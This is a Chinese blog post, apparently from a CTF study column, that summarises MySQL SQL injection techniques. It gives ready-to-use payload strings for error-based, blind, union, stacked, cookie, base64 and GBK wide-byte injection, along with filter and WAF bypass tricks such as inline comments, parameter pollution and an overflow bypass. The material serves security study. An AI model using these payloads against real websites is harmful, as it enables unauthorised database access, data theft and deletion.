前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Sql注入总结学习

Sql注入总结学习

作者头像
wuming
发布2021-01-21 16:01:43
1.1K0
发布2021-01-21 16:01:43
举报
文章被收录于专栏:wuming_CTFwuming_CTF
  1. 1. 按照类型分类
    1. 1.1. 整数型
    2. 1.2. 字符型
  2. 2. 按HTTP提交方式分
    1. 2.1. GET注入
    2. 2.2. POST注入
    3. 2.3. Cookie注入
  3. 3. 按注入方式分
    1. 3.1. 报错注入
      1. 3.1.1. floor()和rand()
      2. 3.1.2. extractvalue()
      3. 3.1.3. updatexml()
      4. 3.1.4. geometrycollection()
      5. 3.1.5. multipoint()
      6. 3.1.6. polygon()
      7. 3.1.7. multipolygon()
      8. 3.1.8. linestring()
      9. 3.1.9. multilinestring()
      10. 3.1.10. exp()
      11. 3.1.11. Procedure_Analyse
      12. 3.1.12. 时间注入
    2. 3.2.
    3. 3.3. 盲注
      1. 3.3.1. 使用函数
      2. 3.3.2. 布尔盲注
      3. 3.3.3. 时间盲注
    4. 3.4. union注入
    5. 3.5. Boolean注入
    6. 3.6. Cookie注入
    7. 3.7. 堆叠查询注入
    8. 3.8. base64注入
  4. 4. 注释
  5. 5. 编码问题
    1. 5.1. 宽字节注入
      1. 5.1.1. 利用
    2. 5.2. MySQL 5.0以上和MySQL 5.0以下版本的区别
      1. 5.2.1. information_schema
      2. 5.2.2. SCHEMATA
      3. 5.2.3. TABLES
      4. 5.2.4. COLUMNS
  6. 6. 绕过
    1. 6.1. 大小写绕过
    2. 6.2. 双写绕过
    3. 6.3. 编码绕过(url全编码、十六进制)
    4. 6.4. 内联注释绕过
    5. 6.5. 关键字替换
      1. 6.5.1. 逗号绕过
      2. 6.5.2. 比较符号( >、< )绕过
      3. 6.5.3. 逻辑符号的替换
      4. 6.5.4. 空格绕过
    6. 6.6. 等价函数绕过
    7. 6.7. http参数污染
    8. 6.8. 缓冲区溢出绕过

@toc

按照类型分类

整数型

字符型

按HTTP提交方式分

GET注入

POST注入

Cookie注入

按注入方式分

报错注入

==基于floor,UpdateXml(有长度限制,最长32位),ExtractValue(有长度限制,最长32位)进行报错注入。==

floor()和rand()

代码语言:javascript
复制
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a       /*利用错误信息得到当前数据库名*/

extractvalue()

代码语言:javascript
复制
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

updatexml()

代码语言:javascript
复制
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

geometrycollection()

代码语言:javascript
复制
id=1 and geometrycollection((select * from(select * from(select user())a)b))

multipoint()

代码语言:javascript
复制
id=1 and multipoint((select * from(select * from(select user())a)b))

polygon()

代码语言:javascript
复制
id=1 and polygon((select * from(select * from(select user())a)b))

multipolygon()

代码语言:javascript
复制
id=1 and multipolygon((select * from(select * from(select user())a)b))

linestring()

代码语言:javascript
复制
id=1 and linestring((select * from(select * from(select user())a)b))

multilinestring()

代码语言:javascript
复制
id=1 and multilinestring((select * from(select * from(select user())a)b))

exp()

代码语言:javascript
复制
id=1 and exp(~(select * from(select user())a))

Procedure_Analyse

配合报错注入即可/也可以用注入点在limit后的注入

在这里插入图片描述
在这里插入图片描述

样例

在这里插入图片描述
在这里插入图片描述

时间注入

代码语言:javascript
复制
id = 1 and if(length(database())>1,sleep(5),1)

盲注

使用函数

length(str) :返回字符串str的长度

substr(str, pos, len) :将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len) :跟上面的一样,截取字符串

ascii(str) :返回字符串str的最左面字符的ASCII代码值

ord(str) :将字符或布尔类型转成ascll码

if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

布尔盲注

代码语言:javascript
复制
and ascii(substr((select database()),1,1))>64 /*判断数据库名的第一个字符的ascii值是否大于64*/

时间盲注

代码语言:javascript
复制
id=1 union select if(SUBSTRING(user(),1,1)='root',sleep(4),1),null,null /*提取用户名第一个个字符做判断,正确就延迟4秒,错误返回1*/

union注入

代码语言:javascript
复制
id =-1 union select 1,2,3   /*获取字段*/

Boolean注入

代码语言:javascript
复制
id=1' substr(database(),1,1)='t'--+     /*判断数据名*/

Cookie注入

当发现在url中没有请求参数,单数却能得到结果的时候,可以看看请求参数是不是在cookie中,然后利用常规注入方式在cookie中注入测试即可,只是注入的位置在cookie中,与url中的注入没有区别。 Cookie: id = 1 and 1=1

堆叠查询注入

id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23

  • 堆叠注入简介
  • Stacked injections: 堆叠注入。从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
  • 原理
  • 在SQL 中, 分号(;)是用来表示一条sql 语句的结束。试想一下我们在; 结束一个 sql语句后继续构造下一条语句, 会不会一起执行?因此这个想法也就造就了堆叠注入。而 union jection(联合注入)也是将两条语句合并在一起, 两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的, 可以用来执行查询语句, 而堆叠注入可以执行的是任意的语句。
  • 堆叠注入的局限性在于并不是每一个环境下都可以执行, 可能受到 API 或者数据库引擎不支持的限制, 当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
  • 虽然我们前面提到了堆叠查询可以执行任意的sql 语句, 但是这种注入方式并不是十分的完美的。在我们的web 系统中, 因为代码通常只返回一个查询结果, 因此, 堆叠注入第二个语句产生错误或者结果只能被忽略, 我们在前端界面是无法看到返回结果的。
  • 因此, 在读取数据时, 我们建议使用union(联合)注入。同时在使用堆叠注入之前, 我们也是需要知道一些数据库相关信息的, 例如表名, 列名等信息。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

成功删除

tips:

  1. 并非所有环境都支持堆叠注入,比如Oracle
  2. 查询时通常只返回一个结果,导致后面的SQL语句可能无法回显到页面上

base64注入

对参数进行base64编码,再发送请求。

说明:id=1',1的base64编码为MSc=,而=的url编码为%3d, 所以得到以下结果:

代码语言:javascript
复制
id=MSc%3d

注释

代码语言:javascript
复制
#
-- (有空格)或--+
/**/

内联注释:

代码语言:javascript
复制
/*!...*/

编码问题

  • 查询参数是被单引号包围的,传入的单引号又被转义符()转义,如在后台数据库中对接受的参数使用addslashes()或其过滤函数
  • 数据库的编码为GBK利用 id = -1%DF' union select 1,user(),3,%23 在上述条件下,单引号’被转义为%5c,所以就构成了%df%5c,而在GBK编码方式下,%df%5c是一个繁体字“連”,所以单引号成功逃逸
  • mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个字符需要ascii码大于128,才到汉字的范围)
  • 宽字节注入的本质是PHP与MySQL使用的字符集不同,只要低位的范围中含有0x5c的编码,就可以进行宽字节注入。MySQL 5.0以上和MySQL 5.0以下版本的区别 MySQL 5.0以上版本存在一个存储着数据库信息的信息数据库–INFORMATION_SCHEMA ,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。而5.0以下没有。information_schema

系统数据库,记录当前数据库的数据库,表,列,用户权限等信息

SCHEMATA

储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等

TABLES

储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等

COLUMNS

储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等

绕过

大小写绕过

双写绕过

编码绕过(url全编码、十六进制)

内联注释绕过

关键字替换

逗号绕过

substr、mid()函数中可以利用from to来摆脱对逗号的利用;

limit中可以利用offset来摆脱对逗号的利用

比较符号( >、< )绕过

greatest、between and

逻辑符号的替换

and=&& or=|| xor=| not=!

空格绕过

用括号,+等绕过

等价函数绕过

  • hex()、bin()=ascii()
  • concat_ws()=group_concat()
  • mid()、substr()=substring()http参数污染 HTTP参数污染(HTTP Parameter Pollution) 攻击者通过在HTTP请求中插入特定的参数来发起攻击,如果Web应用中存在这样的漏洞,可以被攻击者利用来进行客户端或者服务器端的攻击

举个例子,我在谷歌和百度搜索的时候都将查询的参数传两次,谷歌会都作为搜索内容加载,百度则只加载第一个

在这里插入图片描述
在这里插入图片描述

id=1 union select+1,2,3+from+users+where+id=1– 变为 id=1 union select+1&id=2,3+from+users+where+id=1–

缓冲区溢出绕过

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+ 其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。一般会存在临界值,其实这种方法还对后缀名的绕过也有用

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-10-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 按照类型分类
    • 整数型
      • 字符型
      • 按HTTP提交方式分
        • GET注入
          • POST注入
            • Cookie注入
            • 按注入方式分
              • 报错注入
                • floor()和rand()
                • extractvalue()
                • updatexml()
                • geometrycollection()
                • multipoint()
                • polygon()
                • multipolygon()
                • linestring()
                • multilinestring()
                • exp()
                • Procedure_Analyse
                • 时间注入
              • 盲注
                • 使用函数
                • 布尔盲注
                • 时间盲注
              • union注入
                • Boolean注入
                  • Cookie注入
                    • 堆叠查询注入
                      • base64注入
                        • SCHEMATA
                        • TABLES
                        • COLUMNS
                    • 注释
                    • 编码问题
                    • 绕过
                      • 大小写绕过
                        • 双写绕过
                          • 编码绕过(url全编码、十六进制)
                            • 内联注释绕过
                              • 关键字替换
                                • 逗号绕过
                                • 比较符号( >、< )绕过
                                • 逻辑符号的替换
                                • 空格绕过
                              • 等价函数绕过
                                • 缓冲区溢出绕过
                                相关产品与服务
                                数据库
                                云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                                领券
                                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档